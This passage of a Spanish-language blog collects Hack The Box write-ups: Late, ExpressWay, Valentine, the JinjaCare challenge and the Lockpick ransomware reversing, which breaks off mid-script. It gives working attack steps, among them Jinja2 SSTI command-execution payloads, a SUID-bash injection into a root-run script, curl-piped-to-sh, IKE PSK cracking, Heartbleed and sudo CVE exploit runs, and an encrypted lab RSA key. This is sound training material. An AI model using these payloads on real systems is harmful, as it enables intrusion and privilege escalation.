ssh sin contraseña y dale los permisos adecuados:\nchmod 600 id_rsa Ahora en la maquina victima ejecutamos el siguiente comando:\necho \u0026#34;cp /bin/bash /tmp/bash | chmod 4755 /tmp/bash\u0026#34; \u0026gt;\u0026gt; /usr/local/sbin/ssh-alert.sh Nos conectamos por ssh con la clave:\nssh -i id_rsa svc_acc@late.htb /tmp/bash -p Referencias # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection https://github.com/VersiraSec/python-rev-shell/blob/main/python-rev-shell.py PAM (Pluggable Authentication Modules) es un marco modular de autenticación para sistemas tipo UNIX que separa la lógica de autenticación/autorizar/sesión de las aplicaciones que lo usan, permitiendo cambiar políticas y métodos sin modificar esos programas. En la práctica, aplicaciones como sshd, su, login o sudo llaman a PAM a través de una API común, y PAM ejecuta una “pila” de módulos configurados para cuatro áreas: auth, account, password y session.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"14 noviembre 2025","externalUrl":null,"permalink":"/htb/maquinas/late/","section":"Hack The Box","summary":"","title":"Late","type":"maquinas"},{"content":"","date":"14 noviembre 2025","externalUrl":null,"permalink":"/tags/pspy/","section":"Tags","summary":"","title":"Pspy","type":"tags"},{"content":"","date":"14 noviembre 2025","externalUrl":null,"permalink":"/tags/ssh-keys/","section":"Tags","summary":"","title":"Ssh-Keys","type":"tags"},{"content":"","date":"14 noviembre 2025","externalUrl":null,"permalink":"/tags/ssti/","section":"Tags","summary":"","title":"SSTI","type":"tags"},{"content":" Enumeración # Usamos nmap para hacer un escaneo de puertos primero rápido y luego con detección de versiones y vulnerabilidades:\nsudo nmap -p- --open --min-rate 5000 -sS -Pn -n [IP] -oN allPorts Y nos da como resultado:\n# Nmap 7.95 scan initiated Sat Sep 20 19:58:22 2025 as: /usr/lib/nmap/nmap --privileged -p22 -sVC -A -oG allPorts 10.129.174.138 Host: 10.129.174.138 () Status: Up Host: 10.129.174.138 () Ports: 22/open/tcp//ssh//OpenSSH 10.0p2 Debian 8 (protocol 2.0)/ OS: Linux 4.15 - 5.19 Seq Index: 265 IP ID Seq: All zeros # Nmap done at Sat Sep 20 19:58:27 2025 -- 1 IP address (1 host up) scanned in 4.65 seconds Ahora el escaneo intensivo aunque solo vemos el puerto 22:\n# Nmap 7.95 scan initiated Sat Sep 20 19:57:22 2025 as: /usr/lib/nmap/nmap -p- --open -sS --min-rate 5000 -Pn -n -oN target 10.129.174.138 Nmap scan report for 10.129.174.138 Host is up (0.093s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh # Nmap done at Sat Sep 20 19:57:35 2025 -- 1 IP address (1 host up) scanned in 13.49 seconds No vemos nada inusual algo que habíamos visto en otra maquina llamada underpass es el uso de puertos UDP en vez de Puertos TCP en ese caso use nmap pero en esta maquina me fue demasiado lento el escaneo por lo que termine encontrando otra herramienta llamada udpz que es la que vamos a usar para descargarla este es el [github][https://github.com/FalconOpsLLC/udpz].\n./udpz -r 2 [IP] 10:30PM INF Starting scan packet_count=189 probe_count=63 service_count=54 10:30PM INF Discovered UDP service host=10.129.174.203 port=500 probe=ike:generic service=ike target=IP:10.129.174.203 10:30PM INF Scan complete duration=12189.156768 end=1758421827314206966 start=1758421815125050198 ╭────────────────┬───────────┬──────┬───────┬─────────┬─────────────╮ │ HOST │ TRANSPORT │ PORT │ STATE │ SERVICE │ PROBES │ ├────────────────┼───────────┼──────┼───────┼─────────┼─────────────┤ │ 10.129.174.203 │ UDP │ 500 │ OPEN │ IKE │ ike:generic │ ╰────────────────┴───────────┴──────┴───────┴─────────┴─────────────╯ Vemos abierto el puerto 500 con un servicio llamado IKE, hice una búsqueda rápida y obtuve varios resultados para empezarle a hacer pruebas para vulnerar el servicio, los links quedan en la descripción.\nLo primero que nos interesa saber es la version del IKE:\nike-scan -M -A [IP] Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 10.129.174.203\tAggressive Mode Handshake returned HDR=(CKY-R=4bc30e44bbe2d80e) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes) Ending ike-scan 1.9.6: 1 hosts scanned in 0.108 seconds (9.25 hosts/sec). 1 returned handshake; 0 returned notify Como podemos leer en la segunda línea Aggressive Mode Handshake returned esto indica que el modo agresivo esta activo lo que significa que el envió del PSK Hash se hace en texto plano por lo que el podemos hacer fuerza bruta a ese hash, lo que podemos hacer con este modo activo es tratar de obtener este hash de cualquier usuario.\nUsuario # Primero vamos a obtener el hash para hacerle fuerza bruta.\nike-scan -A [IP] --id=AnyID -PTestkey Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 10.129.174.203\tAggressive Mode Handshake returned HDR=(CKY-R=67ad58144658a4c9) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes) Ending ike-scan 1.9.6: 1 hosts scanned in 0.110 seconds (9.08 hosts/sec). 1 returned handshake; 0 returned notify Y ahora con Hashcat podemos hacerle fuerza usando el rockyou.\nhashcat Testkey /usr/share/wordlists/rockyou.txt Y al final nos va a mostrar la contraseña la cual es freakingrockstarontheroad y si observamos el comando que hicimos para obtener el hash vemos que le pertenece a ike lo sabemos por la parte donde dice Value=ike@expressway.htb por lo que nos podemos conectar como ike por ssh.\nRoot # A mi opinion esta es la parte que le baja la valoración a la maquina ya que es un poco rebuscada y difícil de encontrar, en mi caso me toco usar linpeas e igual me demore bastante encontrandolá esa es mi opinion.\nNo voy a mostrar mis hermosos errores en esta parte pero los voy a enumerar:\nPermisos sudo (No tenemos permitido ejecutar sudo) Permisos SUID Capabilities (No hay) Crontabs Intente encontrar una base de datos mysql porque había un usuario mysql Procesos y servicio (no había nada raro) En linepeas por algún motivo extraño mió vi la ruta de los correos y me puse a revisarlos Listo lo que vamos a hacer es usar linepeas y les voy a mostrar como encontré la vulnerabilidad que nos permite escalar privilegios.\nDescargamos Linpeas en nuestra maquina montamos un servidor http y descargamos el archivo en la maquina victima para ejecutarlo, esto porque la maquina no dejaba hacerlo directamente con github.\n# Maquina atacante curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh sudo python3 -m http.server # Maquina victima curl [Ip atacante]:8000/linpeas.sh | sh Como ya dije las dos cosas que revise fue los correos y la que voy a mostrar, si nos dirigimos al apartado de SUID (si ya se que dije que no me funciono pero el SUID nos sirve de poco) veremos que en la parte que esta el sudo nos dice que revisemos la version.\n╔══════════╣ SUID - Check easy privesc, exploits and write perms ╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid strace Not Found -rwsr-xr-x 1 root root 1.5M Aug 14 12:58 /usr/sbin/exim4 -rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo ---\u0026gt; check_if_the_sudo_version_is_vulnerable -rwsr-xr-x 1 root root 116K Aug 26 22:05 /usr/bin/passwd ---\u0026gt; Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwsr-xr-x 1 root root 75K Sep 9 10:09 /usr/bin/mount ---\u0026gt; Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-x 1 root root 87K Aug 26 22:05 /usr/bin/gpasswd -rwsr-xr-x 1 root root 91K Sep 9 10:09 /usr/bin/su -rwsr-xr-x 1 root root 276K Jun 27 2023 /usr/bin/sudo ---\u0026gt; check_if_the_sudo_version_is_vulnerable -rwsr-xr-x 1 root root 63K Sep 9 10:09 /usr/bin/umount ---\u0026gt; BSD/Linux(08-1996) -rwsr-xr-x 1 root root 70K Aug 26 22:05 /usr/bin/chfn ---\u0026gt; SuSE_9.3/10 -rwsr-xr-x 1 root root 52K Aug 26 22:05 /usr/bin/chsh -rwsr-xr-x 1 root root 19K Sep 9 10:09 /usr/bin/newgrp ---\u0026gt; HP-UX_10.20 -rwsr-xr-- 1 root messagebus 51K Mar 8 2025 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 483K Aug 10 00:07 /usr/lib/openssh/ssh-keysign -r-sr-xr-x 1 root root 14K Aug 28 09:04 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper -r-sr-xr-x 1 root root 15K Aug 28 09:04 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper Específicamente en la siguiente línea:\n-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo ---\u0026gt; check_if_the_sudo_version_is_vulnerable Si la verificamos encontraremos una version vulnerable:\nsudo -V Sudo version 1.9.17 Sudoers policy plugin version 1.9.17 Sudoers file grammar version 50 Sudoers I/O plugin version 1.9.17 Sudoers audit plugin version 1.9.17 La version 1.9.17 tiene el [CVE-2025-32463][https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/blob/main/sudo-chwoot.sh] con ese exploit si lo descargamos en nuestra maquina y lo mandamos a la maquina victima igual que el linpeas habremos ganado privilegios como root.\n# Maquina atacante wget https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/blob/main/sudo-chwoot.sh python3 -m http.server # Maquina victima wget http://[Ip atacante]:8000/sudo-chwoot.sh chmod +x sudo-chwoot.sh ./sudo-chwoot.sh Y de esta forma habremos obtenido la flag como root.\nReferencias # https://raxis.com/blog/ike-vpns-supporting-aggressive-mode/ https://www.verylazytech.com/network-pentesting/ipsec-ike-vpn-port-500-udp https://github.com/FalconOpsLLC/udpz https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS https://github.com/mirchr/CVE-2025-32463-sudo-chwoot https://www.youtube.com/watch?v=tEKFqP-X-ro ","date":"20 septiembre 2025","externalUrl":null,"permalink":"/htb/maquinas/expressway/","section":"Hack The Box","summary":"","title":"ExpressWay","type":"maquinas"},{"content":"","date":"20 septiembre 2025","externalUrl":null,"permalink":"/tags/ike-scan/","section":"Tags","summary":"","title":"Ike-Scan","type":"tags"},{"content":"","date":"20 septiembre 2025","externalUrl":null,"permalink":"/tags/sudo-version/","section":"Tags","summary":"","title":"Sudo-Version","type":"tags"},{"content":"","date":"20 septiembre 2025","externalUrl":null,"permalink":"/tags/udp/","section":"Tags","summary":"","title":"UDP","type":"tags"},{"content":"","date":"29 agosto 2025","externalUrl":null,"permalink":"/tags/gobuster/","section":"Tags","summary":"","title":"Gobuster","type":"tags"},{"content":"","date":"29 agosto 2025","externalUrl":null,"permalink":"/tags/heartbleed/","section":"Tags","summary":"","title":"Heartbleed","type":"tags"},{"content":"","date":"29 agosto 2025","externalUrl":null,"permalink":"/tags/john/","section":"Tags","summary":"","title":"John","type":"tags"},{"content":"","date":"29 agosto 2025","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"29 agosto 2025","externalUrl":null,"permalink":"/tags/nmap/","section":"Tags","summary":"","title":"Nmap","type":"tags"},{"content":"","date":"29 agosto 2025","externalUrl":null,"permalink":"/tags/tmux/","section":"Tags","summary":"","title":"Tmux","type":"tags"},{"content":" Valentine is a very unique medium difficulty machine which focuses on the Heartbleed vulnerability, which had devastating impact on systems across the globe.\nEnumeración # ❯ sudo nmap -p- --open --min-rate 5000 -vvv -n -Pn -sS 10.129.232.136 -oG ports Host discovery disabled (-Pn). All addresses will be marked \u0026#39;up\u0026#39; and scan times may be slower. Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 19:39 EDT Initiating SYN Stealth Scan at 19:39 Scanning 10.129.232.136 [65535 ports] Discovered open port 80/tcp on 10.129.232.136 Discovered open port 22/tcp on 10.129.232.136 Discovered open port 443/tcp on 10.129.232.136 Completed SYN Stealth Scan at 19:39, 13.46s elapsed (65535 total ports) Nmap scan report for 10.129.232.136 Host is up, received user-set (0.095s latency). Scanned at 2025-08-29 19:39:13 EDT for 14s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 443/tcp open https syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds Raw packets sent: 66551 (2.928MB) | Rcvd: 66557 (2.663MB) ❯ nmap -p22,80,443 -sCV -A 10.129.232.136 -oN target Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 19:40 EDT Nmap scan report for 10.129.232.136 Host is up (0.093s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesnt have a title (text/html). |_http-server-header: Apache/2.2.22 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_ssl-date: 2025-08-29T23:40:49+00:00; 0s from scanner time. |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesnt have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.5 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ❯ gobuster dir -u http://10.129.232.136 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --no-error -t 200 =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.232.136 [+] Method: GET [+] Threads: 200 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /dev (Status: 301) [Size: 314] [--\u0026gt; http://10.129.232.136/dev/] /encode (Status: 200) [Size: 554] /decode (Status: 200) [Size: 552] /omg (Status: 200) [Size: 153356] /server-status (Status: 403) [Size: 295] Progress: 1273830 / 1273830 (100.00%) =============================================================== Finished =============================================================== Puerto 80 # Además de esto podemos revisar los recursos que nos listo [[Gobuster]]:\nencoder: decoder: notes: hypekey: Heartbleed # Este es el que se ve mas interesante parece una cadena hexadecimal por lo que podemos tratar de devolverlo al formato original:\n❯ xxd -r -p hype_key \u0026gt; hype_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46 DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R 5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6 0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5 XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe 2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP 09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3 -----END RSA PRIVATE KEY----- Esta clave rsa normalmente nos serviría para podernos conectar mediante ssh sin que nos pida la contraseña del usuario, pero esta protegida por otra clave si bien no nos va a pedir la contraseña del usuario nos pedirá la de la clave rsa por lo que podemos intentar extraer el hash y hacerle fuerza bruta:\n❯ ssh2john hype_rsa \u0026gt; hash Pero esto no va a funcionar. No pude encontrar nada mas de esta forma por lo que vamos a volver a [[nmap]] para usar sus scripts de enumeración de vulnerabilidades, ya que pueden encontrar alguna vulnerabilidad en los puertos abiertos de la maquina:\nnmap --script \u0026#34;vuln\u0026#34; IP Con esto podremos encontrar la vulnerabilidad [[Heartbleed]], que permite leer memoria arbitraria de los servidores o clientes con la versión vulnerable, lo que puede exponer información confidencial, esto debido a que como atacantes podemos solicitar que el servidor nos envié una longitud mayor a la real y este no lo verifica lo que hace que se fugue información en el espacio de sobra.\nSabiendo esto podemos buscar un exploit yo encontré uno que clone:\ngit clone https://gist.github.com/10174134.git Si ejecutamos python2 heartbleed.py (Tiene que ser con python2) nos mostrara como lo debemos ejecutar:\nPor lo que podemos ejecutar el siguiente comando:\npython2 heartbleed.py -p 443 -n 10 10.129.232.136 Lo que hace el -n es indicar cuantas veces va a tratar de ejecutar el ataque ya que no siempre puede traer algo.\nVemos que estas cadenas repetidas tiene un formato parecido a base64 por lo que podemos tratar de ver que es sin el cifrado:\nEsto puede ser la clave que protege la key rsa pero nos hace falta el usuario para iniciar sesión, entonces lo podríamos averiguar debido a que la versión del OpenSSH es bastante vieja:\nsearchsploit -m linux/remote/45939.py Así podríamos comprobar los usuarios:\npython2 45939.py 10.129.232.136 root Con esto podríamos generar un ataque de fuerza bruta pero debido a la respuesta lenta del servidor se va a demorar una eternidad en encontrar el usuario entonces nos vamos a guiar por el nombre que tenia la clave rsa que es hype de modo que nos podemos conectar con ese usuario y con la cadena después de quitarle el ==base64==:\nsign_and_send_pubkey: no mutual signature supported Esto es por el cambio de versiones entonces para solucionarlo agregamos -o PubkeyAcceptedKeyTypes=+ssh-rsa\nssh -i hype_rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa hype@10.129.232.136 Escalamiento de privilegios # Podemos ver que hay referencia a [[tmux]] si buscamos en https://gtfobins.github.io/ encontraremos que nos puede servir a escalar privilegios.\nPor lo que para escalar privilegios simplemente podemos ejecutar:\ntmux -S /.devs/dev_sess Y ya somos root.\n","date":"29 agosto 2025","externalUrl":null,"permalink":"/htb/maquinas/valentine/","section":"Hack The Box","summary":"","title":"Valentine","type":"maquinas"},{"content":"","date":"15 agosto 2025","externalUrl":null,"permalink":"/tags/jinja2/","section":"Tags","summary":"","title":"Jinja2","type":"tags"},{"content":" Jinjacare is a web app for managing COVID-19 vaccination records, allowing users to view history and generate digital certificates. You\u0026rsquo;re invited to identify security vulnerabilities in the system and retrieve the hidden flag from the application.\nEn primera instancia tenemos la pagina web anterior encontré tres subdirectorios, pero de estos solo en dos creo que se pueda hacer algo debido a que nos permite ingresar datos.\nCertificados # En esta pagina intente hacer varias cosas básicas como un XSS o un SSTI tomando como base el nombre del reto y la descripción que me indican que esta usando Jinja. Pero nada de esto sirvio.\nLogin # Acá trate de crear una cuenta con el nombre siendo algún one-liner que mostrara si había un SSTI pero la pagina decía que solo aceptaba letras y espacios para el nombre por lo cual no me permitía usar ninguno. Por lo que cree la cuenta de manera normal para averiguar a que funcionabilidades podía acceder.\nCrear certificado # Lo primero que vemos cuando iniciamos sesión vemos que podemos descargar un pdf con el certificado de vacunación del usuario, acá claramente se ve la posibilidad de que haya un SSTI por la template que usa para el certificado.\nModificar información # Acá podemos modificar la información personal, por lo que si esta usando una template y en ella imprime el nombre podemos probar a ver si hay un SSTI con ese parámetro, por lo que lo modifique haciendo que de nombre tenga {{2+2}} y en el momento de descargar el nuevo pdf vemos que esta haciendo la operación:\nCon esto confirmamos la vulnerabilidad por lo que voy a listar una clase que nos permitirá ejecutar comandos remotamente con el siguiente comando:\n{% for c in \u0026#39;\u0026#39;.__class__.__mro__[1].__subclasses__() %} {% if \u0026#39;Popen\u0026#39; in c.__name__ %} {{ loop.index0 }} - {{ c }} {% endif %} {% endfor %} Con esto puedo confirmar que tengo acceso a la clase popen y podre usar el siguiente one-liner para ejecutar comandos y de esa forma hallar la flag:\n{{ cycler.__init__.__globals__.os.popen(\u0026#39;id\u0026#39;).read() }} Con esto nos damos cuenta que somos root, por lo que tenemos acceso a todo el sistema, si listamos el directorio raíz con el siguiente comando veremos la flag:\n{{ cycler.__init__.__globals__.os.popen(\u0026#39;ls /\u0026#39;).read() }} Y finalmente podemos leer la flag con:\n{{ cycler.__init__.__globals__.os.popen(\u0026#39;cat /flag.txt\u0026#39;).read() }} Referencias # https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md#jinja2---basic-injection https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.html?highlight=jinja#fuzzing-waf-bypass ","date":"15 agosto 2025","externalUrl":null,"permalink":"/htb/challenges/jinjacare/","section":"Hack The Box","summary":"","title":"JinjaCare","type":"challenges"},{"content":"","date":"15 agosto 2025","externalUrl":null,"permalink":"/tags/web/","section":"Tags","summary":"","title":"Web","type":"tags"},{"content":"","date":"27 junio 2025","externalUrl":null,"permalink":"/tags/ghidra/","section":"Tags","summary":"","title":"Ghidra","type":"tags"},{"content":" Descripcion: # El primer Sherlock que resuelvo y con una muy grata experiencia, toca hacerle reversing a un ramsomeware para poder recuperar unos archivos que fueron victimas del ataque, el ramsomeware usa un XOR para encriptar la información por lo que es muy facil solucionar este reto.\nForela needs your help! A whole portion of our UNIX servers have been hit with what we think is ransomware. We are refusing to pay the attackers and need you to find a way to recover the files provided. Warning This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. Once the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.\nPara este reto vamos a estar usando Ghidra y Python para hacer el desencriptado lo primero es abrir el ejecutable de Linux que nos dieron en el zip en un espacio de ghidra y analizarlo, nos vamos a dirigir a la función main:\nVemos que le pasa a la función process_directory dos parámetros el primero si revisamos el zip que nos dan es el directorio de todos los archivos que se encriptaron por culpa del malware, el segundo parámetro de momento no sabemos que es.\nLa función a la que le pasa estos parámetros es la siguiente:\nVamos a ir revisando poco a poco esto cambiando variables para así entender un poco que esta haciendo esto.\nSabemos que el param_1 es el directorio el cual el malware va a afectar además opendir() lo que hace es darnos un puntero de un directorio, por lo que ya sabemos que hace la primera parte del programa verifica si el directorio esta vacío, luego vemos local_18 que es igual a la función readdir() la cual devuelve el nombre de la próxima entrada en el directorio identificado por el puntero que obtuviste con opendir() , además en la variable local_418 guarda el directorio a atacar y el nombre del archivo que esta procesando.\nEn este punto el programa revisa que el directorio sea diferente a . y .. que son el directorio actual y el anterior, además de esto si es un directorio hace que se repita este proceso de nuevo para abarcar todo el contenido del directorio a atacar, ya por ultimo revisa que el archivo tenga como extensión alguno de los que vemos ahí como lo son txt, sql, pdf, docx, xlsx, csv, json o xml si es así muestra que esta encriptando el archivo y lo manda a una nueva función llamada encrypt_file donde pasa la ruta del archivo y el segundo parámetro que vimos que estaban pasando en el main a continuación podemos ver como quedaría la función con las nuevas variables para que sea mas entendible:\nEn la función encrypt_file vemos lo siguiente:\nSabemos que el parámetro_1 es la ruta al archivo a encriptar por lo que sabemos que loca_28 es el puntero al archivo, fseek lo que hace es que posiciona el puntero en el final del archivo:\nlocal_28: es el puntero al archivo abierto (tipo FILE*). 0: es el desplazamiento (offset) en bytes. 2: es el valor de la constante SEEK_END, que indica que el desplazamiento se calcula desde el final del archivo. ftell indica el tamaño que tiene el archivo, rewind reposiciona el puntero al inicio del archivo, malloc reserva un bloque de memoria del tamaño del archivo a encriptar, fread lee el contenido de local_28 lo guarda en local_38 y lo va a leer byte por byte hasta llegar al tamaño del archivo el cual lo sabemos con local_30.\nYa entrando en el for local_20 es nuestro iterador i , además esto solo va a parar cuando local_20 sea igual a local_30.\nYa dentro del for es donde se produce todo el encriptado, en la primera linea lo que hacemos es guardar el byte actual en la variable bVar1, en la segunda calculamos la longitud del parámetro 2 y lo guardamos en la variable sVar4, ya al final remplazamos el byte actual con la operatorio XOR entre el byte actual y el parámetro 2 que se repite hasta tener la misma longitud que el byte actual, por lo que podríamos decir que el parámetro dos desde el inicio ha sido la clave para encriptar y desencriptar los archivos, ya lo que continua es el programa guardando los cambios en un archivo con el mismo nombre pero con la extensión .24bes y creando una nota, además de eliminar el archivo original.\nA continuación vemos el código mas legible:\nScript # Ahora vamos a comenzar a a realizar un script que nos haga el proceso inverso para recuperar los archivos, lo primero es seleccionar los archivos que vamos a tratar esto lo podemos hacer usando la extensión que tienen los archivos:\ndef seleccionar_archivos(): lista_archivos = os.listdir( \u0026#34;/forela-criticaldata/\u0026#34; ) archivos_encriptados = [] for elemento in lista_archivos: if elemento.endswith(\u0026#34;.24bes\u0026#34;): archivos_encriptados.append(elemento) print(archivos_encriptados) return archivos_encriptados Y los guardamos en una lista para así poder hacer el proceso uno por uno, lo siguiente que tenemos que hacer recordando que el malware usa un XOR y tenemos la clave que uso es volver a usar el XOR con esta clave de esta forma tendremos el contenido original.\ndef decrypt(): for elemento in archivos_encriptados: # Elimina los últimos 6 caracteres de la extensión del archivo cifrado (elimina el .24bes) elemento_sin_extension = elemento[:-6] # Abre el archivo cifrado en modo lectura binaria (\u0026#39;rb\u0026#39;) with open(os.path.join(\u0026#34;/forela-criticaldata/\u0026#34;, elemento,), \u0026#34;rb\u0026#34;,) as f: # Lee todo el contenido del archivo y lo almacena como un bytearray (para modificarlo) datos = bytearray(f.read()) clave = b\u0026#34;bhUlIshutrea98liOp\u0026#34; # Recorre cada byte del archivo y aplica el XOR con el byte correspondiente de la clave (cíclicamente) for i in range(len(datos)): datos[i] ^= clave[i % len(clave)] # Abre un nuevo archivo en la carpeta de archivos descifrados, en modo escritura binaria (\u0026#39;wb\u0026#39;) with open(os.path.join(\u0026#34;/archivos_decrypt/\u0026#34;,elemento_sin_extension,),\u0026#34;wb\u0026#34;,) as f: # Escribe los datos descifrados en el nuevo archivo f.write(datos) print(f\u0026#34;Archivo desencriptado: {elemento_sin_extension}\u0026#34;) De modo que el script completo para su uso quedaría de la siguiente forma:\nimport os def seleccionar_archivos(): lista_archivos = os.listdir( \u0026#34;/home/loaxert/Documentos/Sherlocks/Lockpick/forela-criticaldata/\u0026#34; ) archivos_encriptados = [] for elemento in lista_archivos: if elemento.endswith(\u0026#34;.24bes\u0026#34;): archivos_encriptados.append(elemento) print(archivos_encriptados) return archivos_encriptados def decrypt(): for elemento in archivos_encriptados: elemento_sin_extension = elemento[:-6] with open( os.path.join( \u0026#34;/home/loaxert/Documentos/Sherlocks/Lockpick/forela-criticaldata/\u0026#34;, elemento, ), \u0026#34;rb\u0026#34;, ) as f: datos = bytearray(f.read()) clave = b\u0026#34;bhUlIshutrea98liOp\u0026#34; for i in range(len(datos)): datos[i] ^= clave[i % len(clave)] with open( os.path.join( 